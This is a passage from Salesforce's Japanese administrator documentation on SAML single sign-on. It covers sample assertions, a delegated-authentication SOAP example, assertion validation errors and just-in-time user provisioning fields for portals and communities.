<saml:Attribute Name="ssostartpage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/qa/security/saml/saml20-gen.jsp

</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">

<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/qa/security/del_auth/SsoLogoutPage.html

</saml:AttributeValue>
</saml:Attribute>

</saml:AttributeStatement>
</saml:Assertion>

</samlp:Response>

サイトのサンプル SAML アサーション
SAML アサーション文の portal_id、organization_id、および siteurl 属性を次に示します。
<saml:AttributeStatement>

<saml:Attribute Name="portal_id">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">060900000004cDk

</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="organization_id">

<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">00D900000008bX0

</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="siteurl">

<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">https://ap1.force.com/mySuffix</saml:AttributeValue>

</saml:Attribute>
</saml:AttributeStatement>
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代理認証の SOAP メッセージのサンプル
代理認証シングルサインオン処理の一部として、Salesforceサーバは、ログイン情報の中に入れて渡したユーザ
を認証するように SOAP 1.1 要求を作成します。この種の要求の例を示します。シングルサインオン Web サービ
スは、この要求を受け付けて処理し、応答で true または false を返す必要があります。
要求サンプル
<?xml version="1.0" encoding="UTF-8" ?>
<soapenv:Envelope

xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>

<Authenticate xmlns="urn:authentication.soap.sforce.com">
<username>sampleuser@sample.org</username>
<password>myPassword99</password>
<sourceIp>1.2.3.4</sourceIp>

</Authenticate>
</soapenv:Body>

</soapenv:Envelope>

応答メッセージサンプル
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope

xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>

<AuthenticateResult xmlns="urn:authentication.soap.sforce.com">
<Authenticated>false</Authenticated>

</AuthenticateResult>
</soapenv:Body>

</soapenv:Envelope>

ジャストインタイムプロビジョニングのサンプル SAML アサーション
ジャストインタイムプロビジョニングのサンプル SAML アサーションを次に示します。
<saml:AttributeStatement>

<saml:Attribute Name="User.Username"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">testuser@123.org
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.Phone"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">415-123-1234
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.FirstName"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Testuser
</saml:AttributeValue>

</saml:Attribute>

1069

シングルサインオンSalesforce 組織の設定および管理



<saml:Attribute Name="User.LanguageLocaleKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">en_US
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.CompanyName"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Salesforce.com
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.Alias"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">tlee2
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.CommunityNickname"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">tlee2
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.UserRoleId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">000000000000000
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.Title"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Mr.
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.LocaleSidKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">en_CA
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.Email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">testuser@salesforce.com
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name=" User.FederationIdentifier"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">tlee2
</saml:AttributeValue>

</saml:Attribute>
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<saml:Attribute Name="User.TimeZoneSidKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">America/Los_Angeles
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.LastName"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Lee
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.ProfileId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">00ex0000001pBNL
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.IsActive"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">1
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.EmailEncodingKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">UTF-8
</saml:AttributeValue>

</saml:Attribute>

</saml:AttributeStatement>

関連トピック:

SAML

1071

シングルサインオンSalesforce 組織の設定および管理



SAML ログイン履歴のレビュー

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

統合認証を使用可能なエ
ディション: すべてのエ
ディション

代理認証を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

認証プロバイダを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

ユーザがシングルサインオンを使用して他のアプリケーションから Salesforce に
ログインしてくると、SAML アサーションが Salesforce ログインページに送信され
ます。アサーションは、[設定] の [シングルサインオン設定] ページで指定された
認証証明書にあるアサーションと照合されます。ユーザがログインに失敗する
と、ログインに失敗した理由を示すメッセージがログイン履歴に書き込まれま
す。さらに、SAML アサーション検証に無効なアサーションが自動的に設定され
る可能性があります。
ログイン履歴を表示するには、[設定] から [クイック検索] ボックスに「ログイ
ン履歴」と入力し、[ログイン履歴]を選択します。ログイン履歴を参照した後、
ID プロバイダと情報の共有が必要な場合があります。
発生すると考えられるエラーは次のとおりです。
アサーションが期限切れです

アサーションのタイムスタンプが発行から 5 分以上経っています。

メモ: Salesforce では、3 分間のクロックスキューが許可されます。つま
りアサーションの実際の有効期間は、タイムスタンプの 3 分前から 8 分
後まで許容されることになります。アサーションの有効期間が 5 分未満
の場合、時間は短くなります。

アサーションが無効です
アサーションが有効ではありません。たとえば、アサーションの <Subject>

要素がないなどです。
利用者が無効です

<Audience>に指定する値は、https://saml.salesforce.comとします。
設定エラー/無効な権限

Salesforceの SAML 設定に問題があります。たとえば、アップロードした証明書
が壊れているか、組織設定が無効になっている可能性があります。設定を確
認するには、[設定] から [クイック検索] ボックスに「シングルサインオン設
定」と入力し、[シングルサインオン設定] を選択します。次に、ID プロバイ
ダから SAML アサーションのサンプルを入手し、[SAML アサーション検証] を
クリックします。

発行者が一致しません
アサーションで指定された発行者またはエンティティ ID がSalesforce設定で指
定された発行者と一致しません。

受信者が一致しません
アサーションで指定された受信者が Salesforce 設定で指定された受信者と一致しません。

再実行が検出されました
同じアサーション ID が複数回使用されました。アサーション IDは、組織内で一意にする必要があります。

署名が無効です
アサーションで指定された署名が Salesforce 設定で指定された証明書と一致しません。
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件名確認エラー
アサーションで指定された <Subject> が Salesforce で指定された SAML 設定と一致しません。

関連トピック:

SAML

シングルサインオン用の SAML 設定の検証

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

統合認証を使用可能なエ
ディション: すべてのエ
ディション

代理認証を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

認証プロバイダを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

Salesforce をシングルサインオン用に設定した後、ユーザが Salesforce にログイン
できない場合は、[SAML アサーション検証] とログイン履歴を使用して ID プロバ
イダから送信された SAML アサーションを検証します。
1. ID プロバイダから SAML アサーションを取得します。アサーションはプレー

ン XML 形式または base64 エンコードです。
ユーザがSalesforceにログインしようとして失敗した場合、無効な SAML アサー
ションを使用して SAML アサーション検証が自動的に設定される場合があり
ます。

2. [設定] から、[クイック検索] ボックスに「シングルサインオン設定」と入力
し、[シングルサインオン設定]を選択し、[SAML アサーション検証]をクリッ
クします。

3. テキストボックスに SAML アサーションを入力して、[検証] をクリックしま
す。

4. 検証エラーの結果を ID プロバイダを共有します。

関連トピック:

SAML

シングルサインオン
シングルサインオン実装のベストプラクティス

1073

シングルサインオンSalesforce 組織の設定および管理



SAML アサーション検証エラー

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

統合認証を使用可能なエ
ディション: すべてのエ
ディション

代理認証を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

認証プロバイダを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

Salesforce では、アサーションで次の有効性が必要です。
認証ステートメント

アサーションには <AuthenticationStatement> を含める必要がありま
す。

条件ステートメント
アサーションに <Conditions> ステートメントが含まれる場合、有効なタ
イムスタンプを含める必要があります。

タイムスタンプ
アサーションに有効性の期間を指定することをお勧めします。また、アサー
ションのタイムスタンプは、アサーションの有効性の期間の設定に関わら
ず、発行から 5 分プラスマイナス 3 分以内であることが必要です。これで、
マシン間の相違が許容されます。NotBefore および NotOnOrAfter の制約
も定義済みで有効である必要があります。

属性
Salesforce 設定が [ID は Attribute 要素にあります] に設定されている場
合、ID プロバイダからのアサーションに <AttributeStatement>が含まれ
ている必要があります。
SAML 1.1 を使用している場合、<AttributeName> および
<AttributeNamespace> が <AttributeStatement> の一部として必須で
す。
SAML 2.0 を使用している場合、<AttributeName> は必須です。

表示形式
<Issuer> ステートメントの Format 属性
は、"urn:oasis:names:tc:SAML:2.0:nameid-format:entity" と設定
するか、全く設定しないかのいずれかである必要があります。
例:

<saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://www.salesforce.com</saml:Issuer>

次の例も有効です。
<saml:Issuer >https://www.salesforce.com</saml:Issuer>

1074

シングルサインオンSalesforce 組織の設定および管理



発行者
アサーションで指定された発行者は、Salesforce で指定された発行者と一致する必要があります。

件名
アサーションの件名は、Salesforce ユーザ名またはユーザの統合 ID のいずれかにする必要があります。

利用者
<Audience> の値は必須で、シングルサインオン設定の [エンティティ ID] と一致する必要があります。
デフォルト値は、https://saml.salesforce.com です。

受信者
アサーションで指定された受信者は、Salesforce の設定または OAuth 2.0 トークンエンドポイントで指定され
た Salesforce ログイン URL と一致する必要があります。アサーションのこの部分は必須で、常に検証されま
す。

署名
アサーションには、有効な署名が含まれている必要があります。署名は、SAML 設定で指定された証明書に
関連付けられている秘密鍵を使用して作成する必要があります。

受信者
アサーションで受け取った受信者と組織 ID が、シングルサインオン設定で指定したように予期した受信者
と組織 ID に一致します。アサーションのこの部分は省略可能で、存在する場合にのみ検証されます。例:

Recipient that we found in the assertion: http://aalbert-salesforce.com:8081/
?saml=02HKiPoin4zeKLPYxfj3twkPsNSJF3fxsH0Jnq4vVeQr3xNkIWmZC_IVk3

Recipient that we expected based on the Single Sign-On Settings page:
http://asmith.salesforce.com:8081/
?saml=EK03Almz90Cik_ig0L97.0BRme6mT4o6nzi0t_JROL6HLbdR1WVP5aQO5w

Organization Id that we expected: 00Dx0000000BQlI
Organization Id that we found based on your assertion: 00D000000000062

サイト URL 属性
有効なサイト URL が指定された場合に検証されます。値は次のとおりです。
• 未指定
• オン
• サイトの URL が無効です
• HTTPS にはサイトの URL が必要です
• 指定サイトが無効であるか、ページの使用制限を超えています

関連トピック:

SAML
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SAML 用のジャストインタイムプロビジョニングについて

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ジャストインタイムのプロビジョニングによって、SAML アサーションを使用し
て、ユーザがはじめてログインするときにその場で通常のユーザとポータルユー
ザを作成することができます。そのため、あらかじめユーザアカウントを作成
する必要性がなくなります。たとえば、最近、従業員を組織に追加した場合は、
Salesforce で手動でそのユーザを作成する必要はありません。ユーザがシングル
サインオンでログインすると、アカウントが自動的に作成されるため、アカウ
ント登録にかかる時間と労力を排除できます。ジャストインタイムのプロビジョ
ニングは、SAML ID プロバイダと連動し、SAML 2.0 アサーションで正しいユーザ
情報をSalesforceに渡します。この方法でアカウントを作成および変更できます。
ジャストインタイムのプロビジョニングは、SAML を使用して通信するため、組織で SAML ベースのシングルサ
インオンが有効化されている必要があります。

ジャストインタイムプロビジョニングの利点
ジャストインタイムプロビジョニングを実装すると、組織は次の利点を得られます。
• 管理コストの削減: SAML を介してプロビジョニングすることにより、シングルサインオンプロセスの一部

として、担当者がオンデマンドで取引先を作成できます。このことにより、プロビジョニングプロセスお
よびシングルサインオンプロセスを 1 つのメッセージに結合することによって、ユーザが動的にプロビジョ
ニングを実行する必要のあるシナリオで必要な統合作業が大幅に簡略化されます。

• ユーザの採用の増加: 1 つのパスワードを 1 つ覚えるだけで、自分のメインのサイトと Salesforce の両方にア
クセスできます。そのため、ユーザが Salesforce アプリケーションを定期的に使用する可能性が高くなりま
す。

• セキュリティの向上: 企業ネットワーク用に作成したパスワードポリシーは、Salesforce にも有効となりま
す。また、1 回の使用のみ有効な認証情報を送信することで、機密データへのアクセス権を持つユーザに対
するセキュリティの向上を図れます。

ジャストインタイムプロビジョニングの要件および SAML アサーション項目
ポータルのジャストインタイムプロビジョニングおよび SAML アサーション項目
コミュニティのジャストインタイムプロビジョニング
ジャストインタイムプロビジョニングのエラー
次に、SAML 用のジャストインプロビジョニングのエラーコードと説明を示します。

関連トピック:

ジャストインタイムプロビジョニングの要件および SAML アサーション項目
ポータルのジャストインタイムプロビジョニングおよび SAML アサーション項目
コミュニティのジャストインタイムプロビジョニング
ジャストインタイムプロビジョニングのエラー
サンプル SAML アサーション
シングルサインオン
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ジャストインタイムプロビジョニングの要件および SAML アサーション項目
ジャストインタイムプロビジョニングでは SAML アサーションを作成する必要があります。SAML アサーション
を作成するときは、次の点を考慮してください。
• Provision Versionはオプションの属性としてサポートされています。この属性を指定しない場合、デ

フォルトは 1.0 です。例:

<saml:Attribute Name="ProvisionVersion" NameFormat=
"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">1.0</saml:AttributeValue>
</saml:Attribute>

• ProfileID は標準プロファイル用でも組織ごとに異なります。プロファイル名を検索しやすくするため、Salesforce

では、ProfileName を ProfileId 項目に渡すことでプロファイル名を検索できるようにしています。

SAML アサーションの項目の要件
Salesforce で作成するオブジェクトを正しく特定するには、SAML アサーションに渡されるすべてのプレフィッ
クスで [ユーザ]を使用する必要があります。次の例では、Username項目名に User.プレフィックスが追加
されています。
<saml:Attribute

Name="User.Username"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">testuser@123.org</saml:AttributeValue>
</saml:Attribute>

次の標準項目をサポートしています。一部の項目は必須です。

コメント必須項目項目

AboutMe

この項目がない場合は、デフォルトは firstName および lastName

から派生します。
Alias

CallCenter

City

この項目がない場合は、デフォルトはユーザ名から派生しま
す。

CommunityNickname

CompanyName

Country

組織設定から派生します。DefaultCurrencyIsoCode

DelegatedApproverId

Department

Division
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コメント必須項目項目

例: User.Email=test2@salesforce.comYEmail

この項目がない場合は、デフォルトは組織設定から派生しま
す。

EmailEncodingKey

EmployeeNumber

Extension

Fax

この項目がある場合は、SAML 件名に一致する必要がありま
す。一致しない場合は、代わりに SAML 件名を取得します。
SAML では更新できません。

FederationIdentifier  (挿入
のみ)

FirstName

ForecastEnabled

IsActive

YLastName

LanguageLocaleKey

この項目がない場合は、デフォルトは組織設定から派生しま
す。

LocaleSidKey

Manager

MobilePhone

Phone

例: User.ProfileId=Standard UserYProfileId

ReceivesAdminInfoEmails

ReceivesInfoEmails

State

Street

この項目がない場合は、デフォルトは組織設定から派生しま
す。

TimeZoneSidKey

Title

たとえば、User.Username=test2@test.com です。SAML

を使用して更新できません。
YUsername  (挿入のみ)

空白の場合、デフォルトは「ロールなし」に設定されます。UserRoleId

Zip
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その他の項目の要件は次のとおりです。
• テキストタイプの項目のみがサポートされています。
• カスタム項目では、insert および update 関数のみがサポートされます。
• ユーザ作成でAPIを使用すると、User.Username項目に新しいユーザ名を渡すことができます。また、こ

の項目がある場合は User.FederationIdentifier も指定できます。ただし、Username 項目および
FederationIdentifier 項目は、API を使用して更新できません。

関連トピック:

SAML 用のジャストインタイムプロビジョニングについて
ポータルのジャストインタイムプロビジョニングおよび SAML アサーション項目
コミュニティのジャストインタイムプロビジョニング

ポータルのジャストインタイムプロビジョニングおよび SAML アサーション項目
ポータルのジャストインタイム (JIT) のプロビジョニングによって、SAML アサーションを使用して、ユーザが
はじめてログインするときにその場で顧客とパートナーポータルユーザを作成することができます。そのた
め、あらかじめユーザアカウントを作成する必要性がなくなります。JIT は、SAML を使用して通信するため、
組織で SAML ベースのシングルサインオンが有効化されている必要があります。

メモ: Summer '13 リリースから、新しい組織ではカスタマーポータルおよびパートナーポータルを利用で
きなくなっています。既存の組織は、引き続きこれらのポータルにアクセスすることができます。カス
タマーポータルまたはパートナーポータルがない場合に顧客やパートナーと簡単に情報を共有するには、
コミュニティを使用します。
カスタマーポータルおよびパートナーポータルを使用している既存の組織は、それらのポータルを継続
して使用することも、コミュニティに移行することもできます。詳細は、Salesforce アカウントエグゼク
ティブにお問い合わせください。

ポータルユーザの作成

SAML アサーションの一部として [ポータル ID]と [組織 ID]を指定する必要があります。これらのパラメー
タは、組織またはポータルの会社情報ページにあります。通常のユーザもプロビジョンできるため、[ポータ
ル ID] は、通常の要求とポータル JIT プロビジョニング要求を区別するために使用されます。[ポータル ID]

が指定されていない場合、要求は通常プラットフォームユーザの JIT 要求として扱われます。ポータルユーザ
の作成の要件は、次のとおりです。
• [統合 ID] を指定すること。ID が既存のユーザアカウントに属する場合、そのユーザアカウントは更新さ

れます。ユーザアカウントが無効な場合、ユーザアカウントは更新されますが、JIT アサーションの
User.IsActive が true に設定されていない限り、無効なままです。その [統合 ID] のユーザアカウント
が存在しない場合、新規ユーザが作成されます。

• ポータルに自己登録が有効になっており、デフォルトの新規プロファイルとロールが指定されていない場
合、User.ProfileId項目に、ポータルに関連付けられている有効なプロファイル名または ID が含まれる
こと。さらに、User.PortalRole 項目に、有効なポータルロール名または ID が含まれている必要があり
ます。
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メモ: User.Role は null である必要があります。

取引先の作成と変更

有効な [取引先 ID] または Account.AccountNumber と Account.Name の両方を指定して、取引先を作成
または変更します。
• 一致は Account.AccountNumber に基づきます。複数の取引先が見つかった場合、エラーが表示されま

す。そうでない場合は、その取引先が更新されます。
• 一致する取引先が見つからない場合、新しい取引先が作成されます。
• SAML アサーションに Account.Ownerを指定し、この所有者のプロファイルの Account.AccountNumber

項目の項目レベルセキュリティが表示されるように設定されている必要があります。

取引先責任者の作成と変更
有効な User.Contact または Contact.Email と Contact.LastName の両方を指定して、取引先責任者を
作成または変更します。
• 一致は Contact.Email に基づきます。複数の取引先責任者が見つかった場合、エラーが表示されます。

そうでない場合は、その取引先責任者が更新されます。
• 一致する取引先責任者が見つからない場合、新しい取引先責任者が作成されます。

ポータル SAML アサーションでサポートされる項目
Salesforceに作成するオブジェクトを正しく識別するために、プレフィックスを使用する必要があります。SAML

アサーションでは、取引先スキーマのすべての項目に Account プレフィックスを使用し (たとえば、
Account.AccountId)、取引先責任者スキーマのすべての項目に Contact プレフィックスを使用します。次
の例では、[メール] 項目名に Contact プレフィックスが追加されています。
<saml:Attribute

Name="Contact.Email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">testuser@123.org</saml:AttributeValue>
</saml:Attribute>

通常の SAML JIT ユーザにサポートされた標準項目のほかに、取引先では、次の項目がサポートされています。
一部の項目は必須です。

コメント必須項目項目

町名・番地|市区郡|都道府県|郵便番号|国Billing

AnnualRevenue

Description

Fax
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コメント必須項目項目

この項目がある場合は、SAML 件名に一致する必要がありま
す。一致しない場合は、代わりに SAML 件名を取得します。
SAML で更新することはできません。

YFederationIdentifier  (挿入
のみ)

IsCustomerPortal

IsPartner

NumberOfEmployees

Ownership

Phone

すべてのポータルユーザに Worker を使用します。YPortalRole

Rating

Street

TickerSymbol

空白の場合、デフォルトは「ロールなし」に設定されます。UserRoleId

Website

Zip

通常の SAML JIT ユーザにサポートされた標準項目のほかに、取引先責任者では、次の項目がサポートされてい
ます。

コメント必須項目項目

Birthdate

氏名|電話CanAllowPortalSelfReg

Department

Description

DoNotCall

Fax

HasOptedOutofEmail

HasOptedOutofFax

HomePhone

LeadSource

町名・番地|市区郡|都道府県|郵便番号|国Mailing
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コメント必須項目項目

MobilePhone

Owner

町名・番地|市区郡|都道府県|郵便番号|国Other

OtherPhone

Phone

Salutation

Title

関連トピック:

SAML 用のジャストインタイムプロビジョニングについて
ジャストインタイムプロビジョニングの要件および SAML アサーション項目
コミュニティのジャストインタイムプロビジョニング

コミュニティのジャストインタイムプロビジョニング
コミュニティのジャストインタイム (JIT) のプロビジョニングによって、SAML アサーションを使用して、ユー
ザが ID プロバイダからはじめてログインするときにその場で顧客とパートナーコミュニティユーザを作成す
ることができます。そのため、あらかじめユーザアカウントを作成する必要性がなくなります。JIT は、SAML

を使用して通信するため、組織で SAML ベースのシングルサインオンが有効化されている必要があります。そ
の後、ID プロバイダと連携して必要な JIT の SAML アサーションを生成できます。

SAML シングルサインオン設定

[SAML を有効化] を使用したシングルサインオン用の SAML 設定の手順に従います。必要に応じて値を設定
し、JIT プロビジョニングのコミュニティに固有の次の値も含めます。
1. [ユーザプロビジョニングの有効化] をオンにします。

メモ:

• ジャストインタイムプロビジョニングでは、ユーザタイプの統合 ID が必要です。[SAML のユーザ
ID 種別] で、[アサーションには、ユーザオブジェクトの統合 ID が含まれます] を選択します。

• ID プロバイダが Salesforce ユーザ名を以前使用していた場合は、統合 ID を使用する必要があること
を ID プロバイダに通知してください。

2. [エンティティ ID] は組織全体で一意であり、https で始まる必要があります。1 つの組織に [エンティティ
ID] が同じ 2 つの SAML 設定を使用することはできません。[エンティティ ID] に基本ドメイン
(https://saml.salesforce.com) を使用するか、コミュニティ URL

(https://acme.force.com/customers など) を使用するかを指定します。この情報は、ID プロバイダと
共有する必要があります。
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ヒント: 通常、エンティティ ID としてコミュニティ URL を使用します。Salesforce to Salesforceサービスを
提供する場合、コミュニティ URL を指定する必要があります。

3. [SAML のユーザ ID 種別] で、[アサーションには、ユーザオブジェクトの統合 ID が含まれます] を選択
します。ID プロバイダが Salesforce ユーザ名を以前使用していた場合は、統合 ID を使用する必要があること
を ID プロバイダに通知してください。

コミュニティユーザの作成と変更
SAML アサーションには次が必要です。
• [受信者]  URL。これは、組織の SAML シングルサインオン設定詳細ページからのコミュニティログイン URL

です。URL は次の形式を使用します。
https://<community_URL>/login?so=<orgID>

たとえば、Recipient="https://acme.force.com/customers/login?so=00DD0000000JsCM"とした
場合、acme.force.com/customers がコミュニティホームページで、00DD0000000JsCM が [組織 ID]

です。
アサーション復号化証明書が組織の SAML シングルサインオン設定にアップロードされている場合、sc パ
ラメータを使用して URL に証明書 ID を含めます。たとえば、
Recipient="https://acme.force.com/customers/login?so=00DD0000000JsCM&sc=0LE000000Dp"

とした場合、0LE000000Dp が証明書 ID です。
• Salesforceで、SAML アサーションの件名内 (または、SAML シングルサインオン設定での SAML ID の場所の定義

方法によっては属性要素内) の [統合 ID] を既存のユーザレコードの FederationIdentifier 項目と照
合すること。
1. 一致するユーザレコードが見つかった場合は、SAML アサーションの属性を使用して指定された項目を

更新します。
2. 一致するユーザレコードが見つからなかった場合は、Salesforce は [取引先責任者 ID]  (User.Contact)

またはメール (Contact.Email) に基づいて、取引先責任者で一致するものを検索します。User.Contact

を指定しない場合、Contact.Emailと Contact.LastNameが両方とも必須プロパティになりますが、
両方のプロパティが存在するときは、Contact.Email のみに基づいて照合が行われます。
i. 一致する取引先責任者レコードが見つかった場合は、SAML アサーションの属性を使用して指定され

た取引先責任者項目を更新してから、新しいユーザレコードを挿入します。
ii. 一致する取引先責任者レコードが見つからなかった場合は、Salesforce は SAML アサーションで指定さ

れた Contact.Account または Account.AccountNumber に基づいて、取引先で一致するものを
検索します。Contact.Accountを指定しない場合、Account.AccountNumberと Account.Name

が両方とも必須プロパティになりますが、両方のプロパティが存在するときは、
Account.AccountNumber のみに基づいて照合が行われます。
i. 一致する取引先レコードが見つかった場合は、新しいユーザレコードを挿入し、SAML アサーショ

ンで指定された属性に基づいて取引先レコードを更新します。
ii. 一致する取引先レコードが見つからなかった場合は、Salesforceは、SAML アサーションで指定され

た属性に基づいて、新しい取引先、取引先責任者、ユーザのレコードを挿入します。
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ユーザアカウントが無効な場合、ユーザアカウントは更新されますが、JIT アサーションの User.IsActive

が true に設定されていない限り、無効なままです。その [統合 ID] のユーザアカウントが存在しない場
合、新規ユーザが作成されます。

• コミュニティで自己登録が無効になっており、デフォルトの新規ユーザプロファイルとロールが指定され
ていない場合、User.ProfileId項目に、コミュニティに関連付けられている有効なプロファイル名また
は ID が含まれること。

Salesforce は、SAML アサーションの件名内の [統合 ID] を既存のユーザレコードの FederationIdentifier

項目と照合します。

メモ: Salesforce では、SAML アサーション内のユーザオブジェクトのカスタム項目もサポートされていま
す。Userで始まるアサーションの属性は、カスタム項目として解析されます。たとえば、アサーション
の属性 User.NumberOfProductsBought__c は、プロビジョニングされるユーザの
NumberOfProductsBought 項目に配置されます。取引先と取引先責任者ではカスタム項目はサポート
されていません。

コミュニティ SAML アサーションでサポートされる項目
Salesforceに作成するオブジェクトを正しく識別するために、プレフィックスを使用する必要があります。SAML

アサーションでは、取引先スキーマのすべての項目に Account プレフィックスを使用し (たとえば、
Account.AccountId)、取引先責任者スキーマのすべての項目に Contact プレフィックスを使用します。次
の例では、[メール] 項目名に Contact プレフィックスが追加されています。
<saml:Attribute

Name="Contact.Email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">testuser@123.org</saml:AttributeValue>
</saml:Attribute>

通常の SAML JIT ユーザにサポートされた標準項目のほかに、取引先では、次の項目がサポートされています。

コメント必須項目項目

町名・番地|市区郡|都道府県|郵便番号|国Billing

AnnualRevenue

Description

Fax

この項目がある場合は、SAML 件名に一致する必要がありま
す。一致しない場合は、代わりに SAML 件名を取得します。
SAML で更新することはできません。

YFederationIdentifier  (挿入
のみ)

IsCustomerPortal

IsPartner

NumberOfEmployees

Ownership
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コメント必須項目項目

Phone

PortalRole

Rating

Street

TickerSymbol

空白の場合、デフォルトは「ロールなし」に設定されます。UserRoleId

Website

Zip

通常の SAML JIT ユーザにサポートされた標準項目のほかに、取引先責任者では、次の項目がサポートされてい
ます。

コメント必須項目項目

Birthdate

氏名|電話CanAllowPortalSelfReg

Department

Description

DoNotCall

Fax

HasOptedOutofEmail

HasOptedOutofFax

HomePhone

LeadSource

町名・番地|市区郡|都道府県|郵便番号|国Mailing

MobilePhone

Owner

町名・番地|市区郡|都道府県|郵便番号|国Other

OtherPhone

Phone

Salutation
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コメント必須項目項目

Title

関連トピック:

SAML 用のジャストインタイムプロビジョニングについて
ジャストインタイムプロビジョニングの要件および SAML アサーション項目

ジャストインタイムプロビジョニングのエラー
次に、SAML 用のジャストインプロビジョニングのエラーコードと説明を示します。
SAML エラーは URL パラメータで返されます。次に例を示します。
http://login.salesforce.com/identity/jit/saml-error.jsp?
ErrorCode=5&ErrorDescription=Unable+to+create+user&ErrorDetails=
INVALID_OR_NULL_FOR_RESTRICTED_PICKLIST+TimeZoneSidKey

